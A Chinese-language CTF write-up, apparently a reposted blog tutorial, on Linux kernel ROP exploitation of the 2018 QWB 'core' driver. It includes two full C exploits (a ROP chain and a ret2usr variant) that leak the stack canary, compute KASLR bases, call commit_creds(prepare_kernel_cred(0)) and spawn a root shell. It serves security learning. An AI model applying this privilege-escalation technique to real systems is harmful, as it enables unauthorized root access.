Linux Kernel Exploit 内核漏洞学习(2)-ROP

简介

ROP的全称为Return-oriented Programming,主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程;这种攻击方法在用户态的条件中运用的比较多,ret2shellcode,ret2libc,ret2text等ret2系列都利用到了ROP的思想,当然这种攻击手法在内核态同样是有用的,并且手法都基本一样…
这里我以2018年的强网杯中的core来进行演示和学习的,环境我已经放到的了github上面了,需要的可以自行下载学习…

前置知识

kernel space to user space

我们知道Linux操作系统中用户态和内核态是相互隔离的,所以当系统从内核态返回到用户态的时候就必须要进行一些操作,才可以是两个状态分开,具体操作是:

  1. 通过swapgs指令恢复用户态GS的值;
  2. 通过sysretq或者iretq指令恢复到用户控件继续执行;如果使用iretq指令则还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp等);
    比如这里利用的iretq指令,在栈中就给出CS,eflags,sp,ss等信息:
    1
    当然,我们可以通过下来这这个函数来获取并保存这些信息:
unsigned long user_cs, user_ss, user_eflags, user_sp;
void save_stats(){
	asm(
		"movq %%cs, %0\n"
		"movq %%ss, %1\n"
		"movq %%rsp, %3\n"
		"pushfq\n"
		"popq %2\n"
		:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
 		:
 		: "memory"
 	);
}

提权函数

在内核态提权到root,一种简单的方法就是是执行下面这个函数:

commit_creds(prepare_kernel_cred(0));

这个函数会使我们分配一个新的cred结构(uid=0, gid=0等)并且把它应用到调用进程中,此时我们就是root权限了;
commit_credsprapare_kernel_cred都是内核函数,一般可以通过cat /proc/kallsyms查看他们的地址,但是必须需要root权限…
2

具体分析

现在我们可以先分析一下这个core.ko驱动了:
首先查看一下这个ko文件的保护机制有哪些:
3
开启了canary保护…
core_ioctl:
4
这个函数定义了三条命令,分别调用core_read(),core_copy_func(),并且可以设置全局变量off;
core_copy_func:
5
这个函数会根据用户的输入长度,从name这个全局变量中往栈上写数据,并且函数在判断我们输入的这个a1变量类型的时候是signed long long,但是qmemcpy的时候就变成了unsigned __int16了,所以这里存在一个截断,当我们输入如0xf000000000000000|0x100这样的数据就可以绕过限制,就可以造成内核的栈溢出了;
core_read:
6
这个函数会从栈上读出长度为0x40的数据,并且读的起始位置我们可以通过改变off这个全局变量的大小来控制,也就是说这个我们可以越界访问数据,将栈上面的返回地址,canary等信息读到…
core_write:
7
最后这个函数我们可以向全局变量name中写入一个长度不大于0x800的字符串…

思路方法

所以现在我们思路比较清晰了:

  1. 首先通过ioctl函数设置全局变量off的大小,然后通过core_read()leak出canary;
  2. 然后通过core_write()向全局变量name中写入我们构造的ROPchain;
  3. 通过设置合理的长度利用core_copy_func()函数把name的ROPchain向v2变量上写,进行ROP攻击;
  4. ROP调用commit_creds(prepare_kernel_cred(0)),然后swapgs,iretq到用户态;
  5. 用户态起shell,get root;
    所以这里最重要的就是我们的ROPchain的构造了…
    为了方便调试,我们修改一下init文件:
 - setsid /bin/cttyhack setuidgid 1000 /bin/sh
 + setsid /bin/cttyhack setuidgid 0 /bin/sh

这样我们start的时候就是root权限了,方便我们查看一些函数的地址;

获得基地址

首先我们查看一下qume中函数的地址:
8
然后通过gdb调试查看core_read的栈内容:
9
基本我们能够从栈中泄露vmlinux和core.ko的基地址了…
通过这些位置的地址减去偏移就是基地址了,这个和在用户态找libc的基地址的方法是一样的,所以就不过多解释了…
然后我们可以利用ropper工具来查找我们需要的gadget了:

ropper --file vmlinux --search "pop|ret" 

这里建议使用ropper而不是ROPgadget,因为ROPgadget太慢了,ropper可以直接通过pip install ropper来安装;
这里多说一点,其实有时候如果等待的时间是在太长了可以试试这个这样去找:

 objdump -d vmlinux -M intel | grep -E 'ret|pop'

只是这样格式不是太好看,但是非常快…
我这里构造出来的rop链在代码中基本都体现出来了,所以直接看代码就好;
#EXP
poc.c:

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int fd;
unsigned long user_cs, user_ss, user_eflags,user_sp;

 void core_read(char *buf){
    ioctl(fd,0x6677889B,buf);
    //printf("[*]The buf is:%x\n",buf);
}

 void change_off(long long v1){
    ioctl(fd,0x6677889c,v1);
}

 void core_write(char *buf,int a3){
    write(fd,buf,a3);
}

 void core_copy_func(long long size){
    ioctl(fd,0x6677889a,size);
}

 void shell(){
    system("/bin/sh");
}

 void save_stats(){
	asm(
		"movq %%cs, %0\n"
		"movq %%ss, %1\n"
		"movq %%rsp, %3\n"
		"pushfq\n"
		"popq %2\n"
		:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
 		:
 		: "memory"
 	);
}

 int main(){
    int ret,i;
    char buf[0x100];
    size_t vmlinux_base,core_base,canary;
    size_t commit_creds_addr,prepare_kernel_cred_addr;
    size_t commit_creds_offset = 0x9c8e0;
    size_t prepare_kernel_cred_offset = 0x9cce0;
    size_t rop[0x100];
    save_stats();
    fd = open("/proc/core",O_RDWR);
    change_off(0x40);
    core_read(buf);
    /*
    for(i=0;i<0x40;i++){
    printf("[*] The buf[%x] is:%p\n",i,*(size_t *)(&buf[i]));
    }
    */
    vmlinux_base = *(size_t *)(&buf[0x20]) - 0x1dd6d1;
    core_base = *(size_t *)(&buf[0x10]) - 0x19b;
    prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset;
    commit_creds_addr = vmlinux_base + commit_creds_offset;
    canary = *(size_t *)(&buf[0]);
    printf("[*]canary:%p\n",canary);
    printf("[*]vmlinux_base:%p\n",vmlinux_base);
    printf("[*]core_base:%p\n",core_base);
    printf("[*]prepare_kernel_cred_addr:%p\n",prepare_kernel_cred_addr);
    printf("[*]commit_creds_addr:%p\n",commit_creds_addr);
    //junk
    for(i = 0;i < 8;i++){
        rop[i] = 0x66666666;
    }
    rop[i++] = canary;                      //canary
    rop[i++] = 0;                           //rbp(junk)
    rop[i++] = vmlinux_base + 0xb2f;        //pop_rdi_ret;
    rop[i++] = 0;                           //rdi
    rop[i++] = prepare_kernel_cred_addr;
    rop[i++] = vmlinux_base + 0xa0f49;      //pop_rdx_ret
    rop[i++] = vmlinux_base + 0x21e53;      //pop_rcx_ret
    rop[i++] = vmlinux_base + 0x1aa6a;      //mov_rdi_rax_call_rdx
    rop[i++] = commit_creds_addr;
    rop[i++] = core_base + 0xd6;            //swapgs_ret
    rop[i++] = 0;                           //rbp(junk)
    rop[i++] = vmlinux_base + 0x50ac2;      //iretp_ret
    rop[i++] = (size_t)shell;
    rop[i++] = user_cs;
    rop[i++] = user_eflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    core_write(rop,0x100);
    core_copy_func(0xf000000000000100);
    return 0;
}

编译:

gcc poc.c -o poc -w -static

运行:
10
这里说两个地方,第一个是确定填充的垃圾数据的大小时,可以利用gbd动态调试查看确定:
11
确定填充的大小是0x40;
然后就是ROP链中有一个:

    rop[i++] = vmlinux_base + 0xa0f49;      //pop_rdx_ret
    rop[i++] = vmlinux_base + 0x21e53;      //pop_rcx_ret   
    rop[i++] = vmlinux_base + 0x1aa6a;      //mov_rdi_rax_call_rdx

这里有一个pop_rcx_ret的原因是因为call指令的时候会把它的返回地址push入栈,这样会破坏我们的ROP链,所以要把它pop出去:
0

ret2usr

最后这里在说另外一个方法也是基于ROP的方法;
因为这个内核开启了kalsr和canary,但是没有开启smep保护,我们可以利用在用户空间的进程不能访问内核空间,但是在内核空间能访问用户空间的特性,我们可以直接返回到用户空间构造的commit_creds(prepare_kernel_cred(0))(通过函数指针实现来提权,虽然这两个函数位于内核空间,但因为此时我们是ring 0特权,所以可以正常运行;

EXP

ret2usr.c:

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int fd;
unsigned long user_cs, user_ss, user_eflags,user_sp;
size_t commit_creds_addr,prepare_kernel_cred_addr;
 
void core_read(char *buf){
    ioctl(fd,0x6677889B,buf);
    //printf("[*]The buf is:%x\n",buf);
}

void change_off(long long v1){
    ioctl(fd,0x6677889c,v1);
}

void core_write(char *buf,int a3){
    write(fd,buf,a3);
}

void core_copy_func(long long size){
    ioctl(fd,0x6677889a,size);
}

void shell(){
    system("/bin/sh");
}

void save_stats(){
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
        :
        : "memory"
    );
}

void get_root(){
    char* (*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char*) = commit_creds_addr;
    (*cc)((*pkc)(0));
}

int main(){
    int ret,i;
    char buf[0x100];
    size_t vmlinux_base,core_base,canary;
    size_t commit_creds_offset = 0x9c8e0;
    size_t prepare_kernel_cred_offset = 0x9cce0;
    size_t rop[0x100];
    save_stats();
    fd = open("/proc/core",O_RDWR);
    change_off(0x40);
    core_read(buf);
    /*
    for(i=0;i<0x40;i++){
    printf("[*] The buf[%x] is:%p\n",i,*(size_t *)(&buf[i]));
    }
    */
    vmlinux_base = *(size_t *)(&buf[0x20]) - 0x1dd6d1;
    core_base = *(size_t *)(&buf[0x10]) - 0x19b;
    prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset;
    commit_creds_addr = vmlinux_base + commit_creds_offset;
    canary = *(size_t *)(&buf[0]);
    printf("[*]canary:%p\n",canary);
    printf("[*]vmlinux_base:%p\n",vmlinux_base);
    printf("[*]core_base:%p\n",core_base);
    printf("[*]prepare_kernel_cred_addr:%p\n",prepare_kernel_cred_addr);
    printf("[*]commit_creds_addr:%p\n",commit_creds_addr);
    //junk
    for(i = 0;i < 8;i++){
        rop[i] = 0x66666666;
    }
    rop[i++] = canary;                      //canary
    rop[i++] = 0x0;
    rop[i++] = (size_t)get_root;
    rop[i++] = core_base + 0xd6;            //swapgs_ret
    rop[i++] = 0;                           //rbp(junk)
    rop[i++] = vmlinux_base + 0x50ac2;      //iretp_ret
    rop[i++] = (size_t)shell;
    rop[i++] = user_cs;
    rop[i++] = user_eflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    core_write(rop,0x100);
    core_copy_func(0xf000000000000100);
    return 0;
}

编译:

gcc ret2usr.c -o ret2usr -w -static

运行:
13

可以发现这两个方法的代码非常的相似,因为原理都一样的…

总结

这个演示看起来很简单,但是在实际的操作过程当中会遇到比较多的问题,在内核态调试没有在用户态方便,因为内核一旦崩溃了就会重启,所以崩溃的时候gdb不一定断的下来,只能通过单步跟踪来慢慢的定位问题…

发布了58 篇原创文章 · 获赞 19 · 访问量 3万+

猜你喜欢

转载自blog.csdn.net/qq_40827990/article/details/98520140